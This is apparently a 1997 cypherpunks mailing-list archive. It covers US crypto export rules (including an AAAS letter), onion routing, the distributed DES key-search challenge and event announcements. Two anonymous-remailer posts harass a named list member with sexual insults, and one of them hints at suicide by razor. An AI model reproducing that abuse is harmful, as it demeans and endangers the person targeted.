23:02:43.31 From: Phil Agre =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Thu, 20 Feb 1997 14:16:54 -0500 From: afowler at aaas.org (Alex Fowler) Subject: AAAS Crypto Letter -> Scientific Freedom & Human Rights What follows is a copy of the letter sent under the signature of AAAS' Executive Officer, Dr. Richard Nicholson, to the Department of Commerce on the Bureau of Export Administration's Interim Rule on the transfer of certain encryption items. The letter expresses our concern that the current federal policy with regard to encryption raises serious questions for both scientific freedom and human rights work. In addition, it marks the first time that the Association has weighed in on the crypto debate at this level. Sincerely, Alex Fowler AAAS Scientific Freedom, Responsibility and Law Program American Association for the Advancement of Science 1200 New York Avenue, NW, Washington, DC, 20005 February 7, 1997 Ms. Nancy Crowe Regulatory Policy Division Bureau of Export Administration Department of Commerce 14th Street and Pennsylvania Ave., NW, Room 2705 Washington, DC 20230 Dear Ms. Crowe: On behalf of the American Association for the Advancement of Science (AAAS), the world's largest general scientific society, I am responding to the Bureau of Export Administration's Interim Rule on the transfer of certain encryption items, published in the Federal Register, December 30, 1996. Before commenting directly on specific provisions of the Interim Rule, it is important to make the point that its basic thrust threatens to undermine essential features of scientific freedom and the open exchange of information that are generally acknowledged as critical to innovation in science and technology and are responsible in large part for the preeminence of America's research and development enterprise. AAAS opposes attempts by the government to restrict the communication or publication of unclassified research and technical information, efforts which we believe are inconsistent with scientific advancement. We are also concerned that certain provisions of the Interim Rule will adversely affect the effective use of information technologies in efforts to protect and promote human rights. Many of our members in the academic community have legitimate concerns that teaching courses on cryptography appears to violate the Interim Rule if foreign students are enrolled in such courses. Such a control seems to be inadvertent, since Part 744.9 states that "mere teaching or discussion of information about cryptography ... by itself would not establish the intent described in this section, even where foreign persons are present." However, Parts 734.3(b) and 734.9 place controls on all "educational information" applying to encryption software controlled under ECCN 5D002, and "Educational information" is defined as "release by instruction in ... academic institutions." This matter requires further clarification to avoid any unnecessary chilling effect on our educational process. Currently, part 734.3 (b)(3) of the EAR posits a difference between the paper and electronic publication of the same cryptographic materials. While it is acceptable under this provision to publish such material in a book and distribute it internationally without an export license, putting the same information on a disk and sending it abroad is subject to EAR approval. This distinction has serious ramifications for scholarly communication as many professional journals are now moving onto the Internet as electronic publications. Will cutting-edge innovations in cryptography be publishable in this new medium? Consider the following example: the full text of Science magazine, the major peer reviewed journal published by AAAS, is currently available in both print and electronic formats. According to the cited part in the EAR, an article accepted for publication on a new cryptographic algorithm would be acceptable in the print version of the publication. However, because the electronic version is available to people outside the U.S., to comply with EAR, the journal would either have to be published without this article or substantial parts omitted. Scientific publications are crucial to the advancement of science and technology and form a primary source of communication among researchers worldwide. Restrictions that limit potential collaborations and channels of communication into new and innovative cryptographic products will not only impede scientific progress, but will also retard the evolution of a secure Global Information Infrastructure. AAAS has encouraged the development of ethical standards by scientists to encourage responsible conduct and to establish accountability to a supportive public. The codes of professional conduct promulgated by the largest and most important U.S. professional engineering and computing societies all stress the importance of protecting established cultural and ethical norms of information privacy and data integrity. For example, the American Society of Information Science's Code of Ethics for Information Professionals mandates that its members "uphold each user's, provider's or employer's rights to privacy" and resist "all forms of censorship" in carrying out their responsibility "to improve, to the best of their means and abilities, the information systems in which they work or which they represent." The Interim Rule would compel these scientists and engineers -- as employees of major software and hardware computing companies -- to produce information security systems that are intentionally weak for international markets. This would create an ethical dilemma for the professional. He is bound by his responsibility to honor the ethical norms agreed upon by his profession, but as a citizen of the U.S., he is also bound by his responsibility to act according to these federal regulations. The government should avoid whenever possible creating circumstances where professionals must make such choices. AAAS provides technical assistance to human rights groups on the design and development of information management systems for large-scale human rights data collection and analysis. This process concentrates politically volatile information in computers, such as the names of witnesses to military massacres in Guatemala who could be subjected to intimidation, harassment, or murder by those intent on preventing the public discussion and analysis of the information. Such a system must be protected by strong cryptography. In our human rights work, we have observed the growing importance of non-governmental monitoring of state compliance with international human rights agreements as the first line of defense a civil society has against abusive regimes. By documenting and publicizing analyses of abusive behavior by governments, non-governmental human rights organizations provide a fundamental check on state repression. In order to be effective, human rights monitoring organizations must function with a high level of confidentiality. They must protect the people who give them information about state violations of human rights. Similarly, organizations must protect their own staff, many of whom may not be openly associated with the organization. As an increasing proportion of human rights work is supported by the use of information technology, cryptographic techniques, including but not limited to encryption, have become immensely more important. Organizations that concentrate valuable, dangerous information in databases on hard disks must be able to protect them from local authorities, who may be the subjects of human rights investigations. Human rights groups communicating their findings with collaborating organizations in other countries must be able to transmit their information securely. The sending organization must include sufficient information so that the receiving organization can verify the claims. If the information needed to verify the claims were intercepted, it could put the claimants in very serious danger. Using strong cryptography, human rights organizations can communicate their findings without putting informants or staff at additional risk. These are only a few examples of the compelling need for strong cryptography by human rights organizations. The licensing provisions in the Interim Rule permit only inadequate technology for the fundamental, democratic needs of non-government human rights organizations. Part 742.15 of the Interim Rule suggests three categories of weak or unsafe encryption that are eligible for accelerated licensing: (1) includes 40-bit products called "mass market encryption software"; (2) permits key recovery products; and (3) allows non-recovery encryption items using the DES algorithm with 56-bit keys. Provisions (1) and (3) are equally untenable for human rights purposes because they authorize only products known to be breakable with available and inexpensive technology. Provision (2), key recovery, is equally unsatisfactory for human rights organizations. If keys can be recovered by the U.S. government, why should human rights organizations whose entire function is defined by abusive governments trust that their information will remain secure? Given past and ongoing AAAS work in countries such as Haiti, Honduras, Guatemala, Turkey, and South Africa, this matter is of particular concern to us. In view of these concerns, we urge the Bureau of Export Administration to amend the Interim Rule in favor of a more open exchange of ideas and information relating to cryptography. We believe this would advance the nation's interests in a manner consistent with the values that are responsible for America's widely admired scientific achievements and its enduring democratic traditions. Sincerely, Richard S. Nicholson cc: John H. Gibbons Mary L. Good Orrin G. Hatch, Chair, Senate Judiciary Committee Patrick J. Leahy, Ranking Minority Member, Senate Judiciary Committee Jesse Helms, Chair, Senate Foreign Relations Committee Joseph R. Biden, Jr., Ranking Minority Member, Senate Foreign Relations Committee John McCain, Chair, Senate Commerce, Science, and Transportation Committee Ernest F. Hollings, Ranking Minority Member, Senate Commerce, Science & Transportation Committee Conrad Burns, Member, Senate Commerce, Science, and Transportation Committee Tom Bliley, Chair, House Commerce Committee John D. Dingell, Ranking Minority Member, House Commerce Committee Bob Goodlatte, Member, House Commerce Committee Henry J. Hyde, Chair, House Judiciary Committee John Conyers, Jr., Ranking Minority Member, House Judiciary Committee Benjamin A. Gilman, Chair, House International Relations Committee Lee H. Hamilton, Ranking Minority Member, House International Relations Committee F. James Sensenbrenner, Jr., Chair, House Science Committee George E. Brown, Jr., Ranking Minority Member, House Science Committee Kenneth C. Bass, III, Esq. Ann Beeson, Esq. Cindy A. Cohn, Esq. Gino J. Scarselli, Esq. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= For more information, contact: Alexander Fowler or Patrick Ball Directorate for Science and Policy Programs 1200 New York Avenue, NW Washington, DC 20005 (202) 326-6600; Fax (202) 289-4950 afowler at aaas.org or pball at aaas.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= From lucifer at dhp.com Thu Feb 20 22:35:56 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Thu, 20 Feb 1997 22:35:56 -0800 (PST) Subject: One-time pads Message-ID: <199702210635.BAA01630@dhp.com> `A pen is mightier than a sword', not to mention Tim Maya's pea-sized penis. He would be better served by a safety razor, possibly applied in a bathtub filled with warm water (something he has surely never been into). /''' c-OO Tim Maya \ - From bubba at dev.null Thu Feb 20 22:57:39 1997 From: bubba at dev.null (Bubba Rom Dos) Date: Thu, 20 Feb 1997 22:57:39 -0800 (PST) Subject: DES Key recovery project, Progress Report #7 In-Reply-To: <199702202149.NAA12388@gabber.c2.net> Message-ID: <330D6396.427C@dev.null> WeakHold wrote: > > sameer wrote: > > I think Europeans are just not materialistic money grubbers like those of us at C2Net. > > When does the "StrongHold BackDoor Challenge" start? It started when Sandy first bent over for Sameer. > -- > Sameer Parekh Voice: 510-986-8770 > President FAX: 510-986-8777 > C2Net > http://www.c2.net/ sameer at c2.net From gbroiles at netbox.com Fri Feb 21 00:47:14 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Fri, 21 Feb 1997 00:47:14 -0800 (PST) Subject: Double jeopardy, was Re: Constitution and a Right to Privacy In-Reply-To: <199702191924.MAA11906@infowest.com> Message-ID: <3.0.1.32.19970220233614.006e1594@mail.io.com> -----BEGIN PGP SIGNED MESSAGE----- At 07:23 AM 2/20/97 -0800, Dale Thorn wrote: (Ok, no, this doesn't have shit to do with C-punks, but I figure this is going to the flames list anyway. Sue me for being off-topic.) >I understood clearly the (supposed) intent of the feds in retrying >the Whites in the South who were beating up on Blacks and getting >off with White juries - I just believe they would have served the >people better by declaring mistrials or something instead of using >the "dual sovereignty" BS, since a study of the Constitution and >its preparatory papers shows the fathers clearly would have balked >at this. While I think that the "dual sovereigns" theory is BS, I don't see how declaring a mistrial wouldn't run into more or less the same DJ problem. (Sometimes a retrial after a mistrial has a DJ problem, sometimes not - the core question is whose fault the mistrial was. If it was caused intentionally by the prosecution, the DJ clause will bar a retrial; but if the mistake was nobody's fault or the defense's fault, DJ does not bar a retrial.) But if the federal government just looked at state prosecutions which ended in a way that the feds didn't agree with, and arbitrarily declared mistrials and retried the defendant(s), we're back at the same double jeopardy problem - - a person is being tried twice for the same act(s). (Also, after mistrial, the retrial is generally held in the same court, but with a different jury. Such a mistrial wouldn't solve the "prejudiced local jury" or "prejudiced judge" problem.) Calling the excuse for the second trial "dual sovereigns" or "mistrial" or "miscarriage of justice" doesn't change the basic facts. But there is a real problem behind the "dual sovereign" excuse/doctrine, and that is that the two sovereigns may in fact have different interests or different motives - like the example you mentioned, where local Southern juries were reluctant (or outright unwilling) to convict local white people for crimes committed against black people. The state government thought that its interests were best served by a racially discriminatory criminal justice system, or by ignoring injustice and discrimination. The federal government (at least some parts of it) thought otherwise, or found it expedient to look like they thought otherwise. How can the federal government pursue its interests, let the state pursue its interests, and preserve both a meaningful system of federal rights and respect for federalism? I agree that the "dual sovereign" doctrine is problematic, but I can't articulate a better way to organize things and address the federalism/federal rights problem, either. (One approach is to define the problem away, by making some or all crimes exclusively federal or exclusively state crimes; the problem is, voters like "tough on crime" legislators, and seem to vote them into both state and federal legislatures. Unfortunately, we're (collectively) getting what we're asking for.) -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMw1QN/37pMWUJFlhAQFBSgf/RmZN4XfDTCwsqqgBq6tr7gxptp8cKD9p uYbE+4l84R7ppXq2/HctgJuEFkD79UGy73nifnKtmh9o/WUBrt12yco6NlHI1Ph+ u96yFP6ZG4OS6jNmMBTvmXpFdGEW7ueJA2Wnnp8lRMaux5Sg5pjtX9TExCPqmX8O RPxhR+t/3wZHsx2l0tADGAhqzHW6HAGcCloPgskcPAh39vEkqy87Z4VRUHAvOhRP 15QPcPJiHl3noFeqPh/jetUivHqHnpiMw7Ya/RRypSfDyn7cuJzqFRsYoaLCY0i3 8C6oCBCivWHyPAcvqAJzdmgvCL+C4aek8VcZ0hjrLTxHpAsYlZmAyQ== =fffv -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From aga at dhp.com Fri Feb 21 03:33:35 1997 From: aga at dhp.com (aga) Date: Fri, 21 Feb 1997 03:33:35 -0800 (PST) Subject: Canada SUCKS !! In-Reply-To: <330D3E32.393C@gte.net> Message-ID: On Thu, 20 Feb 1997, Dale Thorn wrote: > Date: Thu, 20 Feb 1997 22:18:27 -0800 > From: Dale Thorn > Reply-To: freedom-knights at jetcafe.org > To: freedom-knights at jetcafe.org > Cc: cypherpunks at toad.com > Subject: Re: Revisionism Was: Another email address forgery Was: REPOST: Re: Robert Br > > ISP_Ratings wrote: > > Dave Hayes wrote: > > > Toto writes: > > >> Canada has a set of anti-hate laws that say that if Joe Average says > > >> "Martin Looter King is a doo-doo", then he can be put in prison for > > >> 40,000 years. > > > > That's absolutely ludicrous. Anti-hate laws only serve to make people > > > hate the laws. Legislating emotions is quite impossible, not to > > > mention downright scary. > > > Canada is one of the worst in the Western World--they have all sorts > > of censorous nonsense on the books and seem almost as bad as Germany. > > They don't allow certain political stuff like revisionism, etc. even > > though quite obviously the best answer to revisionism is the very > > crap they produce. Trying to surpress that viewpoint just makes it > > all the more powerful. > > Pardon my intrusion, but doesn't revisionism allow suppressed people > to recover at least some of their history (in the official sense), > and since when is it not legitimate to re-investigate anything at all? > There is only one thing I can think of to say about all of this. Canada SUCKS !! From jya at pipeline.com Fri Feb 21 05:15:13 1997 From: jya at pipeline.com (John Young) Date: Fri, 21 Feb 1997 05:15:13 -0800 (PST) Subject: Global Encryption Policy Message-ID: <1.5.4.32.19970221130842.006a3434@pop.pipeline.com> Mike Cobb's and Peter Gutmann's tales of mixed signals from UK and NZ security agencies on exporting crypto demonstrate the same conflicting policies of their nations' governments as do the travails of Zimmermann, Bernstein, Karn and Junger with the USG -- lacking clear regulations, the agencies try bluff and obfuscation. The US move to clarify and tighten regulations in recent ITAR and EAR amendments surely will be emulated by other nations, as promised by The Wassenaar Arrangement. It is part of the major shift of responsibility for dual-use items from national security agencies to those handling economic security, and the guidelines are not as black and white for commerce as they are for state -- or at least not as yet strictly codified, regulated and enforced. However, what is happening with crypto is happening with a wide range of dual-use items, as the half-century old national security policy undergoes a transformation into economic security policy, with the pervasive impact on subsidiary procedures and regulations in security, armaments, intelligence, research, invention, manufacturing, law, finance, politics, education and so on. Note that the World Trade Organization is supplanting the United Nations as a forum for dispute resolution (NY Times, 18 February 1997). For more on these State-into-Commerce policy deliberations see: The GAO/NSIAD report "Exporting Dual-Use Items," 14 January 1997: http://jya.com/9724.htm Export Administration Regulations, with related presidential orders and agency rules and regulations: http://jya.com/eartoc.htm Bert-Jaap's site and a 1996 State Department address on The Wassenaar Arrangement: http://jya.com/dos012396.txt The Defense Trade News from January 1993 to October 1995 on the shift of encryption items from the USML to the CCL: http://jya.com/dtn0193 (+ four) "Redefining Security," The Joint Security Commission's February 1994 report to DefSEc and DCI: http://jya.com/jcs.htm From reed at itd.nrl.navy.mil Fri Feb 21 05:52:41 1997 From: reed at itd.nrl.navy.mil (Michael G. Reed) Date: Fri, 21 Feb 1997 05:52:41 -0800 (PST) Subject: Any more like www.anonymizer.com ?? Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Robert Hettinga wrote: >+At 8:29 pm -0500 on 2/18/97, ! Drive wrote: >+>A proposal and prototype of a different anonymity mechanism can be found at: >+> http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html >+ >+And, of course, you can hear about the next generation from the same >+bunch, on Monday morning at FC97: >+ >+ Unlinkable Serial Transactions >+ Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA), >+ Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA), >+ David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA) Hey! I always love it when someone references *MY* work :-) Just for the record: Paul, David, and I did (and continue to do) the Onion Routing work...Stuart, Paul, and David are working on other areas together (granted, those areas may use a system like Onion Routing to accomplish some of the anonymity necessary, but it is different work). If anyone wants more info than the URL above gives, drop me a line... - -Michael Computer Engineer / Research Scientist Computer Security Section (code 5542) Center for High Assurance Computer Systems Naval Research Laboratories -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMw2orE8Qx019l0ClAQF+wAQAk9m/0OGZRBM4IBrZx1/qEvUfK7xS6lcv O2f1q1zKHzn47RosR8+MnmN0krGInMle2uw6zsbq3w/hJmQVza+ju4DM43VYroSm bEAw262NIZA183xkG9Ufaklgq0PI6x6rNC6KBhhYJqsy7Hb+2R5Wu8nsU31E+qul /xF9xxabS20= =EpIB -----END PGP SIGNATURE----- From trei at process.com Fri Feb 21 07:04:30 1997 From: trei at process.com (Peter Trei) Date: Fri, 21 Feb 1997 07:04:30 -0800 (PST) Subject: DES search publicity (was Re: Cryptanalysis) Message-ID: <199702211504.HAA07158@toad.com> > Date: Thu, 20 Feb 1997 19:07:18 -0500 (EST) > From: "Mark M." > > On Wed, 19 Feb 1997, Adam Back wrote: > > > Have there been any sightings of your code outside the US? > > > > Rumor has it that ftp://ftp.******.com/pub/incoming is a place where > > things often turn up, but I haven't seen it yet. > > Last time I checked, deskr06i.zip, which I believe is the correct filename, > was in /pub/incoming. > > > Mark I have not checked this file to see if it is correct. For the record (which is why I've added coderpunks and cryptography), I have never exported cryptographic software without permission. Everyone to whom I have sent DESKR to has positively affirmed that they are US/Canadian citizens (or US Green Card holders), in the US/Canada, and were aware of, and would abide by the ITAR/EAR restrictions. The source code and executable are draped in warnings of it's non-exportability. I have bent over backwards to do due diligence on this, and am still trying to track down a restricted ftp server which, in my (possibly extreme) opinion, meets my requirements. I have no intention or desire to be the next poster child for crypto export. In other words: I disclaim any responsibility for someone else's exporting DESKR, if that is what this file contains. Someone else may have knowingly broken the export regs, but it wasn't me, nor was it done at my request, or with my approval. Peter Trei trei at process.com ptrei at acm.org From trei at process.com Fri Feb 21 10:10:55 1997 From: trei at process.com (Peter Trei) Date: Fri, 21 Feb 1997 10:10:55 -0800 (PST) Subject: Prizes, and coordinated vs uncoordinated search, redux. Message-ID: <199702211810.KAA09549@toad.com> [Sorry about the long list of lists, but this issue is being discussed in all of them.] 1. Different set of people seem to be working towards different sets of goals, and this seems to be the source of a lot of contention. My personal goal is to promote the easing of US export restrictions on cryptographic software. I regard these restrictions as promoting crime and espionage. They are also driving US jobs overseas, and crippling the US software industry's ability to compete in the world marketplace (yes, I'm an American, and have every intention of promoting my countries best interests). Recently, the US government tightened the rules on cryptographic software export, but left one tiny Devil's bargain of a loophole: if firms would agree in future to compromise the integrity of their products by adding back doors for 'key recovery', then they could export single DES sofware without 'key recovery' until the end of 1998. Clearly, the government's intent is to bribe software developers into 'voluntarily' adopting GAK (Government Access to Keys), when they would never do so without incentive. The rules also require that if either end of a transmission uses a GAK'd product, then both sides of the transmission must be tappable. This makes it difficult for GAK'd and non-GAK'd products to interoperate, and is a wedge to force GAK'd products into even purely domestic communications. I think that this is a horrible idea. One way to fight it is to discredit DES, by showing that any one with sufficient computing resources (or a modest amount of cash) can get single-DES keys broken. If I destroy the market for new DES products, developers will have less incentive to go along with the government's Faustian scheme. The model I am trying to emulate is that of a criminal or spy agency which wishes to decrypt a captured transmission. It's not unusual for such a capture to have a partially known plaintext. In some cases, they may be able to use special hardware to search the keyspace quickly, but if they don't, they could simply put out a message on the sci.crypt: "Tell me what DES key decrypts 0f 1e 2d 3c 4b 5a 69 78 to 'HTTP/1.0' and I'll send you $10,000." This level of attack is available to almost anyone, and I intend to show that it is effective. ------------------ As for the prize money, if the person winning it wants to send it to a non-profit organization, or is contractually bound to dispose of it in some particular way, that's their business. Myself, I'd probably buy a couple really top-of-the-line PCs (for me and my wife), and throw a big party. Thomas S. writes: > 2. What about the developers? They invest an awful lot of time and > effort into this project because they believe in a future of the > internet. The majority would be very unhappy if the money would > be used for personal profit. Speaking as a developer: I've been working on this project in my spare time for about 5 months now. When I talked to RSA about how to best set up the challenge, I *wanted* the money to go to the person finding the key, and I am pleased that that is what they have done. Which particular developers do you claim to speak for, anyway? Can't they speak for themselves? ------------------------- If the coordinated groups don't want to share their keyspace maps with others, that's their business. Effectively, they become just another uncoordinated searcher (though a very fast one). If a coordinated searcher does publish it's map, then people who trust it can use the data to avoid going over old ground. This would speed the search as we near the end, but has very little effect at the beginning. --------------------------- The coordinated groups are still trying to get their infrastructure in place. In the meantime, at my small employer, we are already searching about 10 million keys/sec, with probably twice that being searched by people with my software on the outsde. And I have still to do a general call for participation... Peter Trei trei at process.com ptrei at acm.org Peter Trei Senior Software Engineer Purveyor Development Team Process Software Corporation http://www.process.com trei at process.com From ses at tipper.oit.unc.edu Fri Feb 21 11:10:44 1997 From: ses at tipper.oit.unc.edu (Simon Spero) Date: Fri, 21 Feb 1997 11:10:44 -0800 (PST) Subject: DES and RSA crypto hardware from the free world In-Reply-To: <85595791717269@cs26.cs.auckland.ac.nz> Message-ID: On Sat, 15 Feb 1997, Peter Gutmann wrote: > I've just got the details on two new crypto chips produced by the Dutch company > Pijnenburg Custom Chips B.V. These are the PCC 201 bignum coprocessor and the Were those prices 1-off? Any idea what the price would be for volume? ----- Now available - The Freddy Hayek Kayak Paddle Your Own Canoe! Be Rowed To Surfdom! From The Taco Institute for Dyslexic Libertarians From haystack at holy.cow.net Fri Feb 21 11:38:32 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Fri, 21 Feb 1997 11:38:32 -0800 (PST) Subject: No Subject Message-ID: <199702211918.OAA15425@holy.cow.net> Timmy C[reep] May's obsessive masturbation has lead to advanced degree of blindness and hairy palms. __\/__ . / ^ _ \ . |\| (o)(o) |/| -.OOOo----oo----oOOO.- Timmy C[reep] May From rah at shipwright.com Fri Feb 21 12:11:07 1997 From: rah at shipwright.com (Robert Hettinga) Date: Fri, 21 Feb 1997 12:11:07 -0800 (PST) Subject: DCSB: Online Government & Electronic Commerce - Legislation and Public Sector Initiatives Message-ID: -----BEGIN PGP SIGNED MESSAGE----- The Digital Commerce Society of Boston Presents Daniel Greenwood, Esq. Deputy General Counsel Information Technology Division Commonwealth of Massachusetts "Online Government & Electronic Commerce - Legislation and Public Sector Initiatives" Tuesday, March 4, 1997 12 - 2 PM The Downtown Harvard Club of Boston One Federal Street, Boston, MA Dan will give us an update on recent information age legislative and operational developments in the public sector. Special attention will be paid to: Electronic Signature and Record Legislation; Joint Government/Private Sector Attempts to Set Certification Authority Standards; Cutting Edge Public Sector PKI Projects; Recent Coordinated State-Federal-Foreign Electronic Commerce Policy Initiatives; and much, much more . . . Speaker: Daniel Greenwood, Esq. Information Technology Division, Deputy General Counsel Commonwealth of Massachusetts Office: http://www.state.ma.us/itd/legal home: http://www.tiac.net/biz/danielg Mr. Greenwood practices information technology law for the Commonwealth of Massachusetts. Recent relevant activities include: * Co-Author of the Draft 1997 Mass. Electronic Records and Signature Act * Chairman of the Commonwealth of Mass. PKI Task Force * Chairman of the ABA Info. Security Comm., Legislative Sub-Committee * Co-Chair of the ABA Cyberspace Law Comm., Legislative Work Group * Contributing Author: ABA Digital Signature Guidelines * Negotiator of Contracts for Internet Security and Payment Systems * Board Member of SigNet.Org and Chair of Legal Special Interest Group * Director of the Virtual State House Project (MIT/Stanford Law School) * Faculty Member: MCLE Health Care & Info. Technology Program * Guest Lecturer for Suffolk Law School High Tech. Symposium * Selection Board Chairman for First Commonwealth of Mass. C/A Business This meeting of the Digital Commerce Society of Boston will be held on Tuesday, March 4, 1997 from 12pm - 2pm at the Downtown Branch of the Harvard Club of Boston, One Federal Street. The price for lunch is $27.50. This price includes lunch, room rental, and the speaker's lunch. ;-). The Harvard Club *does* have dress code: jackets and ties for men, and "appropriate business attire" for women. We will attempt to record this meeting and put it on the web in RealAudio format at some future date We need to receive a company check, or money order, (or, if we *really* know you, a personal check) payable to "The Harvard Club of Boston", by Saturday, March 1, or you won't be on the list for lunch. Checks payable to anyone else but The Harvard Club of Boston will have to be sent back. Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston, Massachusetts, 02131. Again, they *must* be made payable to "The Harvard Club of Boston". If anyone has questions, or has a problem with these arrangements (We've had to work with glacial A/P departments more than once, for instance), please let us know via e-mail, and we'll see if we can work something out. Planned speakers for DCSB are: March Daniel Greenwood The Role of State Government in Digital Commerce April Stewart Baker Encryption Policy and Digital Commerce We are actively searching for future speakers. If you are in Boston on the first Tuesday of the month, and you would like to make a presentation to the Society, please send e-mail to the DCSB Program Commmittee, care of Robert Hettinga, . For more information about the Digital Commerce Society of Boston, send "info dcsb" in the body of a message to . If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in the body of a message to . Looking forward to seeing you there! Cheers, Robert Hettinga Moderator, The Digital Commerce Society of Boston -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwB+VvgyLN8bw6ZVAQEsRAQAiInZXDXlzdMn0B+b9A6zgWHH5POJku5v k9HIZK286Paw1KWKYsw8VyYjUoG4vq/LAh1CagWkwL4EN9Ysg7kbU+LP0W4u04vb /QoKk5rWpmXuplXx1Fp9IhIe2O6oV0vTInJqPV3zkXk4qGzYUrQ0bqLbQn769iMO 7pwwVbkioSc= =m5Pz -----END PGP SIGNATURE----- ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From rah at shipwright.com Fri Feb 21 12:18:49 1997 From: rah at shipwright.com (Robert Hettinga) Date: Fri, 21 Feb 1997 12:18:49 -0800 (PST) Subject: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE Message-ID: --- begin forwarded text X-Authentication-Warning: arraydev.com: majordom set sender to owner-ibc-forum using -f X-Sender: tom at arraydev.com Date: Fri, 21 Feb 1997 13:31:31 -0500 To: ibc-forum at ARRAYdev.com From: Tom McKegney Subject: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE Mime-Version: 1.0 Sender: owner-ibc-forum at arraydev.com Precedence: bulk Reply-To: ibc-forum at arraydev.com I pass on the following which was received Thu, 20 Feb 1997 16:58:48 -0500 From: Lara Becker The International Tax Program Harvard University International Tax Program and the Tax Law Society 1997 Spring Symposium on MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE Saturday, April 5, Cambridge, Massachusetts,U.S.A. The Symposium: Billions of dollars of valuable goods and services are sold, exchanged or transmitted electronically. The amount of such commercial activity is expected to grow exponentially in the future. The appropriate taxation of this sector is one of the most significant new tax issues of our day. The International Tax Program and the Society for Law and Tax Policy of Harvard Law School are sponsoring a symposium that will bring together the leading policy makers, academics and practitioners in this field in an effort to help derive uniform tax rules in this challenging dimension of domestic and international taxation. This symposium will consider a wide range of issues, including: **Differences in determining the electronic commerce income tax base. Should source or residence rules be used, or should some form of formulary apportionment be applied? **Problems in imposing retail sales taxes on electronic sales. Should traditional nexus rules apply? **Problems in determining the value added by electronic commercial inputs. Should a tax be determined based on the 'bits' of information? If so, should each 'bit' be valued the same? **Problems involving the harmonization of tax rules. International and sub-national aspects of this problem will be considered. OECD efforts in this area will be contrasted with proposed uniform state legislation in the US. **Throughout the symposium the impact that these tax decisions will have on cross-border investment decisions will be a primary concern. The Goals of the ITP: The International Tax Program continues to sponsor symposiums on topics of critical concern to government and private sector tax practitioners at Harvard University. It is the belief of the Program that such discussions will lead to advances in tax policy, administration and compliance on a global basis. THE MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE presents such a challenge. Basic Income tax objectives such as efficiency and equality of treatment are made more difficult to achieve if the rules of the game are left to develop on an ad hoc basis. Through this forum the International Tax Program hopes to facilitate a meaningful interaction among policy makers around the core issues of taxation and the internet. ========= Schedule: Saturday, April 5, 1997 7:30 - 8:30: Coffee and Registration 8:30 - 9:00: Keynote Speaker, Mr. Jeffrey Owens, Chief, Fiscal Affairs Division: OECD (Paris) 9:00 - 11:30:INTERNATIONAL PANEL: Moderator: Professor Diane Ring, Harvard Law School Speakers: Mr. Bruce Cohen, Attorney-Advisor, Office of International Tax Counsel, U.S. Treasury Mr. Alan S. S. Ow, Senior Deputy Commissioner, Inland Revenue Authority, Singapore Mr. Nicasio del Castillo, Partner, Coopers & Lybrand Professor Luc Soete, Maastricht Economic Research Institute on Innovation and Technology, University of Maastricht, the Netherlands Mr. Arthur Cordell, Industry Canada, Special Advisor for Long Range Planning and Analysis 11:30 - 12:30: Catered Lunch 12:30 - 3:00: STATE PANEL Moderator: Professor Reuven Avi-Yonah, Harvard Law School Speakers: Ms. Deborah Bierbaum, Deputy Commissioner, Office of Tax Policy, Department of Taxation, New York Ms. Linda Lettera, General Counsel, Department of Revenue, Florida Mr. Wade Anderson, Director of Tax Policy, Comptroller of Public Accounts, Texas Mr. Dean F. Andal, Member, State Board of Equalization, Second District, California Mr. Walter Hellerstein, Attorney, Southerland, Asbill & Brennan 3:00 - 3:30: Coffee 3:30 - 6:00: INDUSTRY PANEL Moderator: Professor Richard Pomp, University of Connecticut Law School Speakers: Ms. Jeanne Goulet, Director of Tax, IBM Credit, IBM Ms. Allyn Yamanouchi, Vice President and Global Technology Tax Counsel, CITIBANK Mr. James Eads, Jr., and Mr. Paul Nolan, Legal Division, AT&T Mr. Bruce Reid, Director of State and Local Tax, MICROSOFT Ms. Ellen Fishbein, Assistant General Counsel, AMERICA ONLINE =============== Registration and Fees: The fee for this program is $500.00. An academic or government employee discount is available. That fee is $200.00. To register for the symposium please fill out and return the form below, with a check or money order made payable to Harvard University, to: Multi-Jurisdictional Taxation of Electronic Commerce Symposium Attn: Lara Becker 1563 Massachusetts Avenue Pound Hall, Room 400 Cambridge, MA 02138 Lbecker at law.harvard.edu Fax: 617-495-0423 Tel: 617-495-4406 ............................................................... Registration Form: 1997 Spring Symposium on Multi-Jurisdictional Taxation of Electronic Commerce, Saturday, April 5, 1997. Mr./Ms. Name (First or Given Name) (Surname or Family Name) Email Address: Title: Organization: Home Address/Work Address: Telephone Number: Fax Number: I am Paying by: Check: Money Order: --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), 